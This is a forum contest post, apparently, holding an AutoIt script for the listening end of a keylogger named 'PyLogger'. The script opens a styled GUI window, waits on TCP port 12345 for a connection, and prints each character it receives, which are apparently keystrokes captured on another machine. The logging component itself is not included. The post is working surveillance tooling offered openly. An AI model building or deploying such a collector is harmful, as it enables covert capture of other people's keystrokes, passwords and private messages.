[CONTEST] Qui non si può dire

#include<WindowsConstants.au3>
#include<WinAPI.au3>
#include<GUIConstantsEx.au3>
#include<Misc.au3>
#include<GUIEdit.au3>
Opt("GUIOnEventMode", 1)
TCPStartup()
$GTitle="PyLogger"
Global $CInfo
$gWidth=300
$gHeight=600

$IP=@IPAddress1
$PORTA=12345


Global $gBKColor=303030
$GUI=GUICreate($GTitle, $gWidth, $gHeight, -1, -1, $WS_POPUPWINDOW, $WS_EX_LAYERED)
WinSetTrans($GUI, "", 254)
GUISetOnEvent(-3, "_Exit")
$gRgn = _WinAPI_CreateRoundRectRgn(0, 0, $gWidth, $gHeight, 50, 50)
_WinAPI_SetWindowRgn($GUI, $gRgn)
GUISetBkColor("0x"&$gBKColor)
GUICtrlCreateLabel($GTitle, 10, 5, 250, 17)
GUICtrlSetOnEvent(-1, "_GMove")
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
GUICtrlCreateLabel("X", 280, 5, 280, 17)
GUICtrlSetOnEvent(-1, "_Exit")
GUICtrlSetColor(-1, 0xFF0000)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlSetFont(-1, 10, "", "", "Calibri")
$Edit=GUICtrlCreateEdit("Connessione..."&@CRLF, 10, 100, 280, 480, $ES_READONLY)
GUICtrlSetBkColor(-1,"0x"&$gBKColor)
GUICtrlSetColor(-1, 0xCCCCCC)
GUICtrlSetFont(-1, 10, "", 2, "Calibri")
GUISetState()

$TCPListen=TCPListen($IP, $PORTA)
Do
       $TCPsocket=TCPAccept($TCPListen)
Until $TCPsocket=True

AdlibRegister("_Svr_Recv", 10)
_GUICtrlEdit_AppendText($Edit, "In ascolto del PyLogger sulla porta "&$PORTA&" sull'ip "&$IP&@CRLF)

Do
       Sleep(10)
Until False

Func _GMove()
       AdlibRegister("_CGMove", 10)
       $CInfo=GUIGetCursorInfo($GUI)
EndFunc

Func _Svr_Recv()
       $recv=Int(TCPRecv($TCPsocket, 1024))
       If $recv="" Then Return
       ConsoleWrite(Chr($recv))
EndFunc

Func _CGMove()
       If Not _IsPressed("01") Then
               AdlibUnRegister("_CGMove")
               Return
       EndIf
       $MPos=MouseGetPos()
       If Not IsArray($CInfo) Or Not IsArray($MPos) Then Return
       WinMove($GUI, "", $MPos[0]-$CInfo[0], $MPos[1]-$CInfo[1])
EndFunc

Func _Exit()
       Exit
EndFunc